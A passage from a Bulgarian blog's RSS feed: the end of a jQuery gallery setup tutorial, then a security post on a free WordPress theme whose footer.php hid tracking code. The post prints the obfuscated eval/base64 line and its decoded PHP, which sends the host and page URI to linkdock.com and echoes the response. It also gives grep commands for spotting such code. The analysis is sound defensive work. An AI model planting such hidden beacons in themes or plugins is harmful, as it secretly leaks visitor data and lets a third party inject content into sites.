<p>В контейнера div <span><span><span><span>thumbs постави толкова тага &lt;li&gt; колкото снимки има. Формата е следния:<br />
</span></span></span></span></p>
<pre><span><span><span>&lt;</span>ul<span><span> </span>class<span><span>="</span>thumbs noscript<span>"</span></span></span><span>&gt;</span></span>
    <span><span>&lt;</span>li<span>&gt;</span></span>
        <span><span>&lt;</span>a<span><span> </span>class<span><span>="</span>thumb<span>"</span></span></span><span><span> </span>href<span><span>="</span>път до снимката с голям размер<span>"</span></span></span><span><span> </span>title<span><span>="</span>заглавие на снимката<span>"</span></span></span><span>&gt;</span></span>
            <span><span>&lt;</span>img<span><span> </span>src<span><span>="</span>път до умалена картинка<span>"</span></span></span><span><span> </span>alt<span><span>="</span><span>заглавие на снимката"</span></span></span><span><span> </span>/<span>&gt;</span></span></span>
        <span><span>&lt;</span>/a<span>&gt;</span></span>
        <span><span>&lt;</span>div<span><span> </span>class<span><span>="</span>caption<span>"</span></span></span><span>&gt;</span></span>
            (произволен HTML тук например с описание на снимката)
        <span><span>&lt;</span>/div<span>&gt;</span></span>
    <span><span>&lt;</span>/li<span>&gt;</span></span>
    ... (тук постави списък с останалите елементи &lt;li&gt; за всяка снимка)
<span><span>&lt;</span>/ul<span>&gt;</span></span>

</span></pre>
<p><span><span><span><span>Галерията изисква за всяка снимка да има освен оригиналната снимка и умалено копие (thumbnail). Да предположим, че имаш 3 снимки в папка /img в главната уеб директория с имена на файловете 1.jpg, 2.jpg, 3.jpg с големина примерно 800&#215;800 пиксела и техни умалени копия с имена 1s.jpg, 2s.jpg и 3s.jpg и големина 40&#215;40 пиксела. Тогава списъкът със снимки ще изглежда по този начин:</span></span></span></span></p>
<pre><span><span><span>&lt;</span>ul<span><span> </span>class<span><span>="</span>thumbs noscript<span>"</span></span></span><span>&gt;</span></span>
    <span><span>&lt;</span>li<span>&gt;</span></span>
        <span><span>&lt;</span>a<span><span> </span>class<span><span>="</span>thumb<span>"</span></span></span><span><span> </span>href<span><span>="</span>/img/1.jpg<span>"</span></span></span><span><span> </span>title<span><span>="</span>заглавие на снимка 1<span>"</span></span></span><span>&gt;</span></span>
            <span><span>&lt;</span>img<span><span> </span>src<span><span>="</span>/img/1s.jpg<span>"</span></span></span><span><span> </span>alt<span><span>="</span><span>заглавие на снимка 1"</span></span></span><span><span> </span>/<span>&gt;</span></span></span>
        <span><span>&lt;</span>/a<span>&gt;</span></span>
        <span><span>&lt;</span>div<span><span> </span>class<span><span>="</span>caption<span>"</span></span></span><span>&gt;</span></span>
            (описание на снимка 1)
        <span><span>&lt;</span>/div<span>&gt;</span></span>
    <span><span>&lt;</span>/li<span>&gt;
</span></span></span>
<pre><span>    <span><span>&lt;</span>li<span>&gt;</span></span>
        <span><span>&lt;</span>a<span><span> </span>class<span><span>="</span>thumb<span>"</span></span></span><span><span> </span>href<span><span>="</span>/img/2.jpg<span>"</span></span></span><span><span> </span>title<span><span>="</span>заглавие на снимка 2<span>"</span></span></span><span>&gt;</span></span>
            <span><span>&lt;</span>img<span><span> </span>src<span><span>="</span>/img/2s.jpg<span>"</span></span></span><span><span> </span>alt<span><span>="</span><span>заглавие на снимка 2"</span></span></span><span><span> </span>/<span>&gt;</span></span></span>
        <span><span>&lt;</span>/a<span>&gt;</span></span>
        <span><span>&lt;</span>div<span><span> </span>class<span><span>="</span>caption<span>"</span></span></span><span>&gt;</span></span>
            (описание на снимка 2)
        <span><span>&lt;</span>/div<span>&gt;</span></span>
    <span><span>&lt;</span>/li<span>&gt;
</span></span></span>
<pre><span>    <span><span>&lt;</span>li<span>&gt;</span></span>
        <span><span>&lt;</span>a<span><span> </span>class<span><span>="</span>thumb<span>"</span></span></span><span><span> </span>href<span><span>="</span>/img/3.jpg<span>"</span></span></span><span><span> </span>title<span><span>="</span>заглавие на снимка 3<span>"</span></span></span><span>&gt;</span></span>
            <span><span>&lt;</span>img<span><span> </span>src<span><span>="</span>/img/3s.jpg<span>"</span></span></span><span><span> </span>alt<span><span>="</span><span>заглавие на снимка 3"</span></span></span><span><span> </span>/<span>&gt;</span></span></span>
        <span><span>&lt;</span>/a<span>&gt;</span></span>
        <span><span>&lt;</span>div<span><span> </span>class<span><span>="</span>caption<span>"</span></span></span><span>&gt;</span></span>
            (описание на снимка 3)
        <span><span>&lt;</span>/div<span>&gt;</span></span>
    <span><span>&lt;</span>/li<span>&gt;</span></span></span></pre>
<p><span><span><span> </span></span> &lt;!-- ... (тук постави списък с останалите елементи &lt;li&gt; за всяка снимка) --&gt;</span></pre>
<p><span><span>&lt;</span>/ul<span>&gt;</span></span></pre>
<p><span><span><span><span>Ако нямаш умалени копия използвай специална програма за създаването им, например </span></span></span></span>уеб инструмента <a href="http://ganbox.com/resize">Промяна на снимка</a> или безплатната програма от irfanview.com<span><span><span><span>. В краен случай ако нямаш малки снимки може да зададеш пътя до големите снимки, но това ще бави зареждането на страницата. Разбира се за създаване на списъка може да се ползва цикъл  foreach на php.</span></span></span></span></p>
<p><span><span><span><span><strong>5. Стартирай галерията.</strong></span></span></span></span></p>
<p><span><span><span><span>Извикай следния JavaScript код:<strong><br />
</strong></span></span></span></span></p>
<pre id="line327">&lt;<span>script</span><span> type</span>=<span>"text/javascript"</span>&gt;
	// Тези стилове се активират само ако браузъра има включен JavaScript
	// Ширината 300px е за полето с малките снимки
	$('div.navigation').css({'width' : '300px', 'float' : 'left'});
	$('div.content').css('display', 'block');

	// Първоначално задава opacity на малките картинки и
	// допълнителни стилове за hover ефект
	var onMouseOutOpacity = 0.67;
	$('#thumbs ul.thumbs li').css('opacity', onMouseOutOpacity)
		.hover(
			function () {
				$(this).not('.selected').fadeTo('fast', 1.0);
			},
			function () {
				$(this).not('.selected').fadeTo('fast', onMouseOutOpacity);
			}
		);

	$(document).ready(function() {
		// Инициализиране на галерията
		var galleryAdv = $('#gallery').galleriffic('#thumbs', {
			delay:                  3000, /* това са 3 секунди */
			numThumbs:              12,
			preloadAhead:           10, /* задай -1, за да зареди всички */
			enableTopPager:         true,
			enableBottomPager:      true,
			imageContainerSel:      '#slideshow',
			controlsContainerSel:   '#controls',
			captionContainerSel:    '#caption',
			loadingContainerSel:    '#loading',
			renderSSControls:       true,
			renderNavControls:      true,
			playLinkText:           '&amp;raquo; Автоматично разглеждане',
			pauseLinkText:          '# Пауза',
			prevLinkText:           '&amp;laquo; Предишна ',
			nextLinkText:           'Следваща &amp;raquo;',
			nextPageLinkText:       'Следваща &amp;raquo;',
			prevPageLinkText:       '&amp;laquo; Предишна',
			enableHistory:          true,
			autoStart:              false,
			onChange:               function(prevIndex, nextIndex) {
				$('#thumbs ul.thumbs').children()
				.eq(prevIndex).fadeTo('fast', onMouseOutOpacity).end()
				.eq(nextIndex).fadeTo('fast', 1.0);
			},
			onTransitionOut:        function(callback) {
				$('#caption').fadeTo('fast', 0.0);
				$('#slideshow').fadeTo('fast', 0.0, callback);
			},
			onTransitionIn:         function() {
				$('#slideshow').fadeTo('fast', 1.0);
				$('#caption').fadeTo('fast', 1.0);
			},
			onPageTransitionOut:    function(callback) {
				$('#thumbs ul.thumbs').fadeTo('fast', 0.0, callback);
			},
			onPageTransitionIn:     function() {
				$('#thumbs ul.thumbs').fadeTo('fast', 1.0);
			}
		});
	});
&lt;/<span>script</span>&gt;</pre>
<pre><span>

</span></pre>
<p><span>Ако има въпроси или нещо не тръгва пишѝ коментар, като сложиш връзка към кода.</span></p>
<p><span>Много добра галерия, бърза, удобна и SEO приятелски ориентирана. Ако някой иска да му инсталирам тази галерия в сайта може да се <a href="http://ganbox.com/about">свърже с мен</a> за оферта.<br />
</span></p>
<p><span><br />
</span></p>
<p><span><span><span> </span></span></span></p>
<h6 style="text-align: right;"><span><span>В статията са ползвани материали от сайта на автора на плъгина </span></span><a href="http://www.twospy.com">http://www.twospy.com</a></h6>
<blockquote>
<pre><span> </span></pre>
</blockquote>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>5558</b><br /><span style="color:grey;font-size:0.8em">(след дата 20 декември 2009)</span></div>

<p>Подобни статии:<ol><li><a href='http://ganbox.com/blog/%d0%b7%d0%b0%d0%bc%d0%b5%d1%81%d1%82%d0%b2%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%82%d0%b0%d0%b3%d0%b0-marquee-%d0%b7%d0%b0-%d0%b2%d0%b0%d0%bb%d0%b8%d0%b4%d0%b5%d0%bd-xhtml/' rel='bookmark' title='Permanent Link: Заместване на тага marquee за валиден XHTML'>Заместване на тага marquee за валиден XHTML</a> <small>HTML тага marquee се използва за автоматично скролиране на текст....</small></li>
<li><a href='http://ganbox.com/blog/%d0%bf%d1%80%d0%be%d0%bc%d1%8f%d0%bd%d0%b0-%d0%bd%d0%b0-%d0%b8%d0%b7%d0%be%d0%b1%d1%80%d0%b0%d0%b6%d0%b5%d0%bd%d0%b8%d0%b5/' rel='bookmark' title='Permanent Link: Промяна на изображение'>Промяна на изображение</a> <small>Нов безплатен уеб инструмент от ganbox.com за обработване на изображения....</small></li>
<li><a href='http://ganbox.com/blog/%d1%84%d0%bb%d0%b0%d1%88-%d0%b0%d0%bd%d0%b8%d0%bc%d0%b0%d1%86%d0%b8%d1%8f-%d0%b1%d0%b5%d0%b7-%d1%82%d0%b0%d0%b3-embed-%d0%b7%d0%b0-%d0%b2%d0%b0%d0%bb%d0%b8%d0%b4%d0%b5%d0%bd-xhtml/' rel='bookmark' title='Permanent Link: Флаш анимация без таг embed за валиден XHTML'>Флаш анимация без таг embed за валиден XHTML</a> <small>В този урок за SEO оптимизиране се показва как уеб...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/jquery-%d0%b3%d0%b0%d0%bb%d0%b5%d1%80%d0%b8%d1%8f-%d0%b7%d0%b0-%d0%b1%d1%8a%d1%80%d0%b7%d0%be-%d0%bf%d1%80%d0%b5%d0%b3%d0%bb%d0%b5%d0%b6%d0%b4%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bd%d0%b8%d0%bc/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Код за шпиониране в WordPress</title>
		<link>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/</link>
		<comments>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/#comments</comments>
		<pubDate>Sun, 16 Aug 2009 12:52:19 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Сигурност]]></category>
		<category><![CDATA[Уеб програмиране]]></category>
		<category><![CDATA[PHP код]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[парола]]></category>
		<category><![CDATA[плъгин]]></category>
		<category><![CDATA[сигурност]]></category>
		<category><![CDATA[следене]]></category>
		<category><![CDATA[темплейт]]></category>
		<category><![CDATA[шпиониране]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=256</guid>
		<description><![CDATA[Код за проследяване Пиша тази статия за всички ползващи WordPress, които не обичат да ги следят без тяхно знание. Проблем: Безплатна тема за WordPress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния обфускиран PHP код: &#60;? eval(gzinflate(base64_decode(&#8216;vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+ X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5 K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4 HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A&#8217;))); ?&#62; (Всичко [...]]]></description>
			<content:encoded><![CDATA[<h3>Код за проследяване</h3>
<p>Пиша тази статия за всички ползващи WordPress, които не обичат да ги следят без тяхно знание.</p>
<p><span style="color: #993300;">Проблем:</span></p>
<p>Безплатна тема за WordPress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния <a href="http://rechnik.info/обфускиран" target="_blank">обфускиран</a> PHP код:</p>
<p><span style="color: #993300;">&lt;? eval(gzinflate(base64_decode(&#8216;vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+</span></p>
<p><span style="color: #993300;">X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5</span></p>
<p><span style="color: #993300;">K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS</span></p>
<p><span style="color: #993300;">Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4</span></p>
<p><span style="color: #993300;">HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A&#8217;))); ?&gt;</span></p>
<p>(Всичко това е на един ред).</p>
<p>Което всъщност представлява следния зашифрован PHP код за проследяване:</p>
<pre id="line157"><span style="color: #993300;">error_reporting(0);
$CodeURL = "http://linkdock.com/content.php?id=&amp;<span class="entity">host</span>=".urlencode($_SERVER["HTTP_HOST"])
."&amp;<span class="entity">uri</span>=".urlencode($_SERVER["REQUEST_URI"]);

if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen")))
&amp;&amp; function_exists("file_get_contents")) {
	echo @file_get_contents($CodeURL);
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen")))
&amp;&amp; function_exists("file")) {
	$content = @file($CodeURL);
	echo @join("", $content);
} elseif (function_exists("curl_init")) {
	$ch = curl_init($CodeURL);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_exec($ch);
	curl_close($ch);
}</span></pre>
<p>Както се вижда този скрипт изпраща до сървъра linkdock.com не само името на вашия домейн, а и точната страница, която в момента отваря посетителя.</p>
<h3>Защо го правят?</h3>
<p>С този код получават интернет трафик от различни уникални IP адреси, който се отчита в статистиките на сървъра им. Отчитат се повече посещения и сървъра може да продава рекламите си по-скъпо.<br />
<span style="color: #008000;">Решение:</span></p>
<p>Просто изтрий този ред от файла wp-content/themes/Red_wave/footer.php</p>
<p>В случая скрипта не носи някаква вреда, освен че забавя излишно зареждането на всяка една страница от блога и ако отсрещния сървър е претоварен, това ще доведе до много дълго време за зареждане на твоите страници на блога и дъното на сайта може да се чупи и размества. Ако твоя блог е прекалено често бавен, това няма да се хареса на бота на Google и е възможно твоя сайт да падне в <a href="http://ganbox.com/blog/какво-е-serp/">SERP</a>-а.</p>
<p>Често тази техника се ползва за да може автора на плъгина да вгради връзка към своя сайт, която да не може да бъде лесно открита и изтрита, но е възможно злонамерен сайт да разпространява безплатни темплейти или плъгини за WordPress, които да навредят на сайта, като например да изтрият всички статии.</p>
<h3>Общи съвети за сигурност</h3>
<p>Нека тази статия бъде предупреждение за всеки, който ползва темплейти или плъгини от непроверен източник. Съветвам те след като си свалиш тема или плъгин първо да пуснеш търсене в текста на всички файлове за опасни функции като eval(). Под Linux това става като от конзолата влезеш в директория wp-content и потърсиш с команда:</p>
<pre>grep --include=*.php -r "eval(" *</pre>
<p>Трябва тази команда да не изведе нищо. Ако излезеш една директория нагоре в главната уеб директория и пуснеш командата отново, там ще има няколко резултата, но повод за притеснение има само ако съдържат  base64_decode или gzinflate. Може да провериш това с командата:</p>
<pre>grep --include=*.php -r "eval(" * | grep -e "base64_decode\|gzinflate"</pre>
<p>Ако в eval има кодиран низ, като този по-горе и не знаеш как да го провериш, тогава по-добре не ползвай тази тема или плъгин. Колкото по красиво и професионално изглежда тимплейта, толкова по-силно ще се изкушаваш да го вградиш в твоя блог, но не искаш данните ти да пострадат нали? Знай, че това е възможно и много лесно да се направи.</p>
<p>Друг проблем със сигурността е небрежно написан код, който създава дупка в сигурността без знанието на разработчика на софтуера. Сигурно в 95% от случаите на хакване на сайт се дължат на това. Всеки допълнителен плъгин, който добавяш увеличава вероятността да поставиш дупка в сигурността в твоя сайт, затова не инсталирай плъгини, които не ползваш или такива, които ползваш много рядко.</p>
<p>Старите версии на WordPress имаха дупки в сигурността и вероятно и в бъдеще ще има такива. Много хора си мислят, че като качат най-новата версия на софтуера и така са защитени, но това не винаги е така.</p>
<h3>Правило за обновяване на софтуер</h3>
<p>Ето едно просто правило за обновяване, което важи не само за WordPress, а и за всеки един софтуер: В момента последната версия на WordPress е 2.8.4 и ако излезе нова версия 2.8.x като 2.8.5 или 2.8.6 обикновено запушва дупки в сигурността и поправя бъгове, затова е добре да я инсталираш веднага. Например 2.8.4 поправя дупка в сигурността на версии &lt;=2.8.3, чрез която може да се променя паролата на admin, затова веднага обнови до тази версия.</p>
<p>Но ако излезе версия с нова цифра като 2.9 (или направо 3.0) е много вероятно такава версия да има дупки в сигурността и е по-добре да изчакаш версия 2.9.1 или дори 2.9.2 и чак тогава да обновиш софтуера си. По този начин намаляваш риска значително.</p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>4365</b><br /><span style="color:grey;font-size:0.8em">(след дата 20 декември 2009)</span></div>

<p>Подобни статии:<ol><li><a href='http://ganbox.com/blog/wordpress-2-9-%d0%bd%d0%b0-%d0%b1%d1%8a%d0%bb%d0%b3%d0%b0%d1%80%d1%81%d0%ba%d0%b8/' rel='bookmark' title='Permanent Link: WordPress 2.9 на български'>WordPress 2.9 на български</a> <small>Както сигурно вече си видял днес излезе новата версия на...</small></li>
<li><a href='http://ganbox.com/blog/wordpress-shortcodes/' rel='bookmark' title='Permanent Link: WordPress плъгин за създаване на линкове'>WordPress плъгин за създаване на линкове</a> <small>Ganbox Shortcodes плъгин Shotcode са маркери на текст от вида...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 48/96 queries in 0.094 seconds using disk: basic

Served from: ganbox.com @ 2012-05-22 05:13:31 -->
